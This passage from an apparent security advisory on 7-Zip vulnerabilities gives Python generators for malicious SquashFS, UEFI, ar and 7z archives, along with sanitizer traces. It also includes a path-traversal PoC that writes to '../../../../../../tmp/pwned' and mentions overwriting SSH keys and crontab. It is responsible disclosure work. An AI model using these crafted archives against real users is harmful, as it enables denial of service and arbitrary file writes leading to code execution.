# 1 FILE inode spanning 3 metadata blocks (232 bytes = 32 hdr + 50*4 block_sizes)
num_data_blocks = 50
file_inode  = struct.pack('<HH', 2, 0x1b4) + struct.pack('<HH', 0, 0)
file_inode += struct.pack('<I', 0x67000000) + struct.pack('<I', 1)
file_inode += struct.pack('<I', 0) + struct.pack('<I', 0xFFFFFFFF)  # no fragment
file_inode += struct.pack('<I', 0) + struct.pack('<I', num_data_blocks * 8192)
for i in range(num_data_blocks):
    file_inode += struct.pack('<I', 8192 | (1 << 24))

# Split across 3 metadata blocks (100 + 100 + 32 bytes)
def meta_block(d): return struct.pack('<H', len(d) | (1 << 15)) + d
inode_table = meta_block(file_inode[:100]) + meta_block(file_inode[100:200]) + meta_block(file_inode[200:])

dir_data = struct.pack('<I', 0xFFFFFFFF) + struct.pack('<I', 0) + struct.pack('<I', 1)
dir_table = meta_block(dir_data)
id_data = meta_block(struct.pack('<I', 1000))

it = 96; dt = it + len(inode_table); ft = dt + len(dir_table)
ip = ft + len(id_data); bu = ip + 8

hdr  = b'hsqs' + struct.pack('<I', 1) + struct.pack('<I', 0) + struct.pack('<I', 8192)
hdr += struct.pack('<I', 0) + struct.pack('<HH', 1, 13) + struct.pack('<HH', 0x1C3, 1)
hdr += struct.pack('<HH', 4, 0)
hdr += struct.pack('<Q', (204 << 16) | 0)  # RootInode → block 2 (uninitialized)
hdr += struct.pack('<Q', bu) + struct.pack('<Q', ip)
hdr += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)  # xattr
hdr += struct.pack('<Q', it) + struct.pack('<Q', dt)
hdr += struct.pack('<Q', ft)  # FragTable = after dir table
hdr += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)  # lookup

out = hdr + inode_table + dir_table + id_data + struct.pack('<Q', ft)
open(sys.argv[1] if len(sys.argv) > 1 else 'poc_sfs_uninit.sfs', 'wb').write(out)

Triggering:

7zz l poc_sfs_uninit.sfs

Verification

cdb trace (Debug build): Confirmed OpenDir is called with startBlock = 0xCC, and the second FindInSorted (for _nodesPos) receives left = 2, right = 3 — values read from uninitialized _blockToNode slots past Size() but within capacity. These feed mid = 2 into _nodesPos[2] — past _nodesPos.Size() = 1.

MSan-confirmed (clang -fsanitize=memory, Linux via Docker):

==7==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x5d501ac05517  (/bin2/7zz+0x2d9517)
    #1 0x5d501ac0688f  (/bin2/7zz+0x2da88f)
    #2 0x5d501ac0771c  (/bin2/7zz+0x2db71c)
    ...
SUMMARY: MemorySanitizer: use-of-uninitialized-value (/bin2/7zz+0x2d9517)

MSan confirms that uninitialized values from _blockToNode are used in the FindInSorted comparison, driving OOB indexed reads of _nodesPos.

Issue 6: UEFI DEPEX OOB Read (GHSL-2026-121)

Off-by-one out-of-bounds read in 7-Zip UEFI dependency expression parser.

An off-by-one out-of-bounds read exists in the UEFI firmware image parser in 7-Zip. The ParseDepedencyExpression function uses > instead of >= when validating an attacker-controlled opcode byte against the bounds of a static array of const char * pointers. When command == 10, the function reads one pointer past the end of the 10-element kExpressionCommands array, then dereferences that pointer as a C string, causing either a crash or a leak of adjacent .rodata content into archive metadata.

The function ParseDepedencyExpression (CPP/7zip/Archive/UefiHandler.cpp, line 394) validates an attacker-supplied opcode byte against a 10-element const char * array:

// CPP/7zip/Archive/UefiHandler.cpp, lines 389-413

static const char * const kExpressionCommands[] =
{
  "BEFORE", "AFTER", "PUSH", "AND", "OR", "NOT", "TRUE", "FALSE", "END", "SOR"
};                                      // 10 entries — valid indices 0..9

static bool ParseDepedencyExpression(const Byte *p, UInt32 size, AString &res)
{
  res.Empty();
  for (UInt32 i = 0; i < size;)
  {
    unsigned command = p[i++];
    if (command > Z7_ARRAY_SIZE(kExpressionCommands))   // BUG: must be >=
      return false;
    res += kExpressionCommands[command];                // OOB when command == 10
    if (command < 3)
    {
      if (i + kGuidSize > size)
        return false;
      res.Add_Space();
      AddGuid(res, p + i, false);
      i += kGuidSize;
    }
    res += "; ";
  }
  return true;
}

Z7_ARRAY_SIZE(kExpressionCommands) evaluates to 10. The check command > 10 admits command == 10. Line 402 then reads kExpressionCommands[10]one pointer slot (8 bytes on x64) past the end of the static-storage array.

What happens with the OOB pointer

The OOB-read value is treated as a const char * and passed to AString::operator+=(const char *), which calls strlen() on it and then memcpys the result into the string buffer. Two outcomes are possible:

  1. Crash: The OOB pointer value is not a valid readable address → strlen faults with ACCESS_VIOLATION. Deterministic DoS.
  2. Rodata leak: The OOB pointer happens to point to another static string in .rdata → that string’s content is copied into the Characts archive property, which is visible to the user via the archive listing UI.

The outcome is deterministic for a given binary (linker layout is fixed per build).

Call path

The function is reached automatically during archive open:

OpenFv() or OpenCapsule()
  → ParseVolume()
    → ParseSections()                          (UefiHandler.cpp:1194)
      → case SECTION_DXE_DEPEX (0x13):
      → case SECTION_PEI_DEPEX (0x1B):
        → ParseDepedencyExpression(p + 4, sectDataSize, s)   (line 1198)

The command byte is the first byte of the DEPEX section payload (p[4]), fully attacker-controlled.

Attack surface and reachability

Impact

This issue may lead to denial of service (crash from dereferencing an invalid pointer) or minor information disclosure (adjacent .rdata string leaked into archive metadata).

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: The off-by-one has been present since 7-Zip 9.21, the first version to include the UEFI handler. All versions through 26.00 are affected.

CWEs

Resources

PoC generator:

A 104-byte UEFI FFS volume with a DXE_DEPEX section containing opcode byte 0x0A triggers the bug.

#!/usr/bin/env python3
"""Generate a minimal UEFI FFS volume with a crafted DEPEX section
that triggers the off-by-one OOB read in ParseDepedencyExpression."""

import struct

kFileHeaderSize = 24
FFS2_GUID = bytes([0x78,0xE5,0x8C,0x8C,0x3D,0x8A,0x1C,0x4F,
                   0x99,0x35,0x89,0x61,0x85,0xC3,0x2D,0xD3])

sect_type = 0x13  # SECTION_DXE_DEPEX
sect_payload = bytes([0x0A])  # command=10, OOB trigger
sect_size = 4 + len(sect_payload)
section = struct.pack('<I', (sect_type << 24) | sect_size)

file_guid = bytes(range(1, 17))
file_size = kFileHeaderSize + sect_size
ffs = bytearray(kFileHeaderSize)
ffs[0:16] = file_guid
ffs[0x11] = 0xAA; ffs[0x12] = 0x07; ffs[0x13] = 0x00
ffs[0x14] = file_size & 0xFF; ffs[0x15] = (file_size >> 8) & 0xFF
ffs[0x16] = (file_size >> 16) & 0xFF; ffs[0x17] = 0xFB
hdr_sum = sum(ffs[i] for i in range(kFileHeaderSize) if i not in (0x11, 0x17))
ffs[0x10] = (256 - (hdr_sum & 0xFF)) & 0xFF
ffs_data = bytes(ffs) + section + sect_payload

header_len = 0x48
vol_size = (header_len + len(ffs_data) + 7) & ~7
fv = bytearray(header_len); fv[0x10:0x20] = FFS2_GUID
struct.pack_into('<Q', fv, 0x20, vol_size)
struct.pack_into('<I', fv, 0x28, 0x4856465F)
struct.pack_into('<I', fv, 0x2C, (1 << 11) | 0x0004FEFF)
struct.pack_into('<H', fv, 0x30, header_len); fv[0x37] = 2
struct.pack_into('<I', fv, 0x38, 1); struct.pack_into('<I', fv, 0x3C, vol_size)
struct.pack_into('<Q', fv, 0x40, 0)
words_sum = sum(struct.unpack_from('<H', fv, i)[0] for i in range(0, header_len, 2))
struct.pack_into('<H', fv, 0x32, (-words_sum) & 0xFFFF)

img = bytes(fv) + ffs_data + b'\xFF' * (vol_size - header_len - len(ffs_data))
open('poc_depex_oob.uefif', 'wb').write(img)

Triggering:

7zz l poc_depex_oob.uefif

Verification

ASan-confirmed. The PoC triggers a global-buffer-overflow on 7-Zip 26.00 (x64) built with MSVC /fsanitize=address:

==102284==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7ff738946e10
  at pc 0x7ff738723a40 bp 0x00f292efc950 sp 0x00f292efc958
READ of size 8 at 0x7ff738946e10 thread T0
    #0 NArchive::NUefi::ParseDepedencyExpression
        UefiHandler.cpp:402
    #1 NArchive::NUefi::CHandler::ParseSections
        UefiHandler.cpp:1198
    #2 NArchive::NUefi::CHandler::ParseVolume
        UefiHandler.cpp:1472
    #3 NArchive::NUefi::CHandler::OpenFv
        UefiHandler.cpp:1628
    #4 NArchive::NUefi::CHandler::Open2
        UefiHandler.cpp:1640
    #5 NArchive::NUefi::CHandler::Open
        UefiHandler.cpp:1735
    #6 CArc::OpenStream2
        OpenArchive.cpp:1975


0x7ff738946e10 is located 0 bytes after global variable
  'NArchive::NUefi::kExpressionCommands' defined in
  'UefiHandler.cpp:389:26' (0x7ff738946dc0) of size 80


SUMMARY: AddressSanitizer: global-buffer-overflow
  UefiHandler.cpp:402 in NArchive::NUefi::ParseDepedencyExpression

Issue 7: Ar SYMDEF OOB Read (GHSL-2026-122)

Heap out-of-bounds read in 7-Zip Ar handler BSD SYMDEF parser.

A 4-byte heap out-of-bounds read exists in the Unix ar archive parser in 7-Zip. When parsing a BSD-style __.SYMDEF symbol table, the ParseLibSymbols function reads a 32-bit namesSize field via Get32 at a position that can equal the buffer size, reading 4 bytes past the end of the heap allocation. This reads uninitialized heap data under the default allocator.

The function CHandler::ParseLibSymbols (CPP/7zip/Archive/ArHandler.cpp, line 448) allocates a heap buffer of exactly item.Size bytes and parses the BSD __.SYMDEF symbol table:

// CPP/7zip/Archive/ArHandler.cpp, lines 460-478

size_t size = (size_t)item.Size;
CByteArr p(size);                                              // heap alloc of `size` bytes
RINOK(ReadStream_FALSE(stream, p, size))

// ...
// "__.SYMDEF" parsing (BSD), lines 469-478:
for (be = 0; be < 2; be++)
{
  const UInt32 tableSize = Get32(p, be);                       // line 471
  pos = 4;
  if (size - pos < tableSize || (tableSize & 7) != 0)          // line 473
    continue;
  size_t namesStart = pos + tableSize;                         // line 475
  const UInt32 namesSize = Get32(p.ConstData() + namesStart, be); // line 476 ← OOB READ
  namesStart += 4;
  if (namesStart > size || namesStart + namesSize != size)     // line 478 (too late)
    continue;

The bounds check gap

Line 473 checks size - pos < tableSize, which ensures namesStart = pos + tableSize ≤ size. This admits namesStart == size (the boundary case). Line 476 then calls Get32(p.ConstData() + namesStart, be), which reads 4 bytes at p[size..size+3]past the end of the size-byte heap allocation.

The bounds check at line 478 (namesStart > size) that would catch this runs after the OOB read has already occurred.

Trigger values

The (tableSize & 7) != 0 filter restricts tableSize to multiples of 8. The minimum trigger:

item.Size tableSize (from file) namesStart OOB read offset
12 8 12 (== size) p[12..15] — 4 bytes past end
20 16 20 (== size) p[20..23] — 4 bytes past end

The for (be = 0; be < 2; be++) retry loop performs the OOB read twice (once little-endian, once big-endian) before giving up.

Impact

This issue may lead to limited information disclosure (OOB bytes used in bounds check but not surfaced to output).

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low)

Affected versions: The SYMDEF parsing was introduced in 7-Zip 9.34. The off-by-4 OOB has been present in all versions from 9.34 through 26.00.

CWEs

Resources

PoC generator:

A crafted 68-byte .a archive triggers the vulnerability.

#!/usr/bin/env python3
"""Generate a crafted ar archive that triggers 4-byte OOB heap read
in ParseLibSymbols BSD __.SYMDEF parsing."""

import struct

AR_MAGIC = b'!<arch>\n'

# Member header: 60 bytes fixed format
# name(16) + mtime(12) + uid(6) + gid(6) + mode(8) + size(10) + fmag(2) = 60
name = b'__.SYMDEF       '  # 16 bytes, padded with spaces
mtime = b'0           '     # 12 bytes
uid = b'0     '             # 6 bytes
gid = b'0     '             # 6 bytes
mode = b'100644  '          # 8 bytes
# Payload: tableSize(4) + table(8) = 12 bytes → namesStart == 12 == size → OOB
payload_size = 12
size_field = f'{payload_size:<10}'.encode()  # 10 bytes
fmag = b'`\n'               # 2 bytes

header = name + mtime + uid + gid + mode + size_field + fmag
assert len(header) == 60

# Payload: tableSize = 8 (little-endian), then 8 bytes of table data
payload = struct.pack('<I', 8)  # tableSize = 8
payload += b'\x00' * 8          # 8 bytes of table (1 entry: namePos=0, offset=0)
assert len(payload) == payload_size

archive = AR_MAGIC + header + payload

with open('poc.a', 'wb') as f:
    f.write(archive)

print(f'Written {len(archive)}-byte archive')
print(f'  Member: __.SYMDEF, size={payload_size}')
print(f'  tableSize=8, namesStart=12==size → Get32 reads p[12..15] OOB')

Triggering:

7zz l poc.a

Verification

ASan-confirmed against 7-Zip 26.00 (built from source with /fsanitize=address):

==20212==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x120db4eb37bc
  at pc 0x7ff7437159b3 bp 0x00c326d5d170 sp 0x00c326d5d178
READ of size 4 at 0x120db4eb37bc thread T0
    #0 NArchive::NAr::Get32           ArHandler.cpp:446
    #1 NArchive::NAr::CHandler::ParseLibSymbols  ArHandler.cpp:476
    #2 NArchive::NAr::CHandler::Open  ArHandler.cpp:627

0x120db4eb37bc is located 0 bytes after 12-byte region
allocated by thread T0 here:
    #0 operator new[]                 asan_win_new_array_thunk.cpp:41
    #1 CSmallObjArray<unsigned char>::CSmallObjArray  MyBuffer.h:228
    #2 NArchive::NAr::CHandler::ParseLibSymbols  ArHandler.cpp:460

SUMMARY: AddressSanitizer: heap-buffer-overflow
  ArHandler.cpp:476 in NArchive::NAr::CHandler::ParseLibSymbols

READ of size 4 at 0 bytes after a 12-byte region confirms the off-by-4 OOB at line 476.

Issue 8: Missing path validation in extraction loop (GHSL-2026-115)

Path traversal in 7zDec SDK sample extractor allows arbitrary file write.

The 7zDec standalone LZMA SDK sample extractor (C/Util/7z/7zMain.c) does not validate archive entry paths for directory traversal sequences (..), absolute paths, or other unsafe path components when extracting in x (full paths) mode. An attacker-controlled 7z archive can write files to arbitrary locations on the filesystem, enabling code execution via overwriting startup scripts, SSH keys, or system configuration files.

The main 7-Zip C++ extractor (CPP/7zip/UI/Common/ArchiveExtractCallback.cpp) has IsSafePath / CLinkLevelsInfo::Parse protection against this class of attack. The C reference extractor lacks the equivalent check.

main() in C/Util/7z/7zMain.c extracts archive entries by taking the kpidPath filename directly from the archive header and using it to create directories and files:

// C/Util/7z/7zMain.c, lines ~749-775

UInt16 *name = (UInt16 *)temp;
const UInt16 *destPath = (const UInt16 *)name;

for (j = 0; name[j] != 0; j++)
  if (name[j] == 'https://securitylab.github.com/')
  {
    if (fullPaths)
    {
      name[j] = 0;
      MyCreateDir(name);                    // creates intermediate dirs
      name[j] = CHAR_PATH_SEPARATOR;
    }
    else
      destPath = name + j + 1;
  }

if (isDir)
{
  MyCreateDir(destPath);
}
else
{
  const WRes wres = OutFile_OpenUtf16(&outFile, destPath);  // opens file for writing
  ...
  File_Write(&outFile, outBuffer + offset, &processedSize); // writes attacker content

OutFile_OpenUtf16 calls creat(name, 0666) on POSIX (C/7zFile.c:93) or CreateFileW(... CREATE_ALWAYS ...) on Windows (C/7zFile.c:104-108). Neither path includes any sanitization of .., absolute paths, drive letters, UNC paths, or reserved device names.

A malicious 7z archive with an entry named ../../../../../../tmp/pwned (UTF-16):

  1. The split loop calls MyCreateDir(".."), MyCreateDir("../.."), etc.
  2. OutFile_OpenUtf16 opens ../../../../../../tmp/pwned relative to CWD
  3. File_Write writes attacker-controlled content

This enables overwriting ~/.ssh/authorized_keys, ~/.bashrc, /etc/crontab (if root), or any other writable path.

Mode e (fullPaths == 0) is not affected — the loop reduces destPath to the basename after the last /, collapsing traversal sequences. Only mode x is vulnerable.

Impact

It is a sample extractor which may be used as example. This issue may lead to arbitrary file write and remote code execution (overwrite shell rc files, cron jobs, SSH keys). 7zDec is built from the LZMA SDK and is a working binary that users invoke on untrusted archives. The attack requires only delivering a crafted 7z archive — no special privileges, no race conditions.

CWEs

Resources

PoC generator:

import struct, binascii, os, subprocess

# Step 1: Create a temp file with a safe placeholder name (27 chars, matching traversal length)
safe_name = 'XXXXXXXXXXXXXXXXXXXXXXXXXXX'  # 27 chars
traversal = '../../../../../../tmp/pwned'  # 27 chars

os.makedirs('/tmp/poc', exist_ok=True)
with open(f'/tmp/poc/{safe_name}', 'w') as f:
    f.write('MALICIOUS CONTENT\n')

# Step 2: Create .7z with uncompressed header (-mhc=off) and no compression (-mx0)
subprocess.run(['7zz', 'a', '-mx0', '-mhc=off', 'poc_traversal.7z', f'/tmp/poc/{safe_name}'])

# Step 3: Binary-patch the UTF-16LE filename and fix CRCs
data = bytearray(open('poc_traversal.7z', 'rb').read())
safe_u16 = safe_name.encode('utf-16-le')
trav_u16 = traversal.encode('utf-16-le')
idx = data.find(safe_u16)
assert idx >= 0, "Placeholder not found — header may be compressed"
data[idx:idx+len(safe_u16)] = trav_u16

# Fix NextHeaderCRC
next_off = struct.unpack_from('<Q', data, 12)[0]
next_size = struct.unpack_from('<Q', data, 20)[0]
hdr_data = data[32 + next_off : 32 + next_off + next_size]
struct.pack_into('<I', data, 28, binascii.crc32(bytes(hdr_data)) & 0xFFFFFFFF)
# Fix StartHeaderCRC
struct.pack_into('<I', data, 8, binascii.crc32(bytes(data[12:32])) & 0xFFFFFFFF)

open('poc_traversal.7z', 'wb').write(data)

Triggering:

cd /some/deep/directory
7zDec x poc_traversal.7z

CVE

Credit

These issues were discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-115, GHSL-2026-116, GHSL-2026-117, GHSL-2026-118, GHSL-2026-119, GHSL-2026-120, GHSL-2026-121, or GHSL-2026-122 in any communication regarding these issues.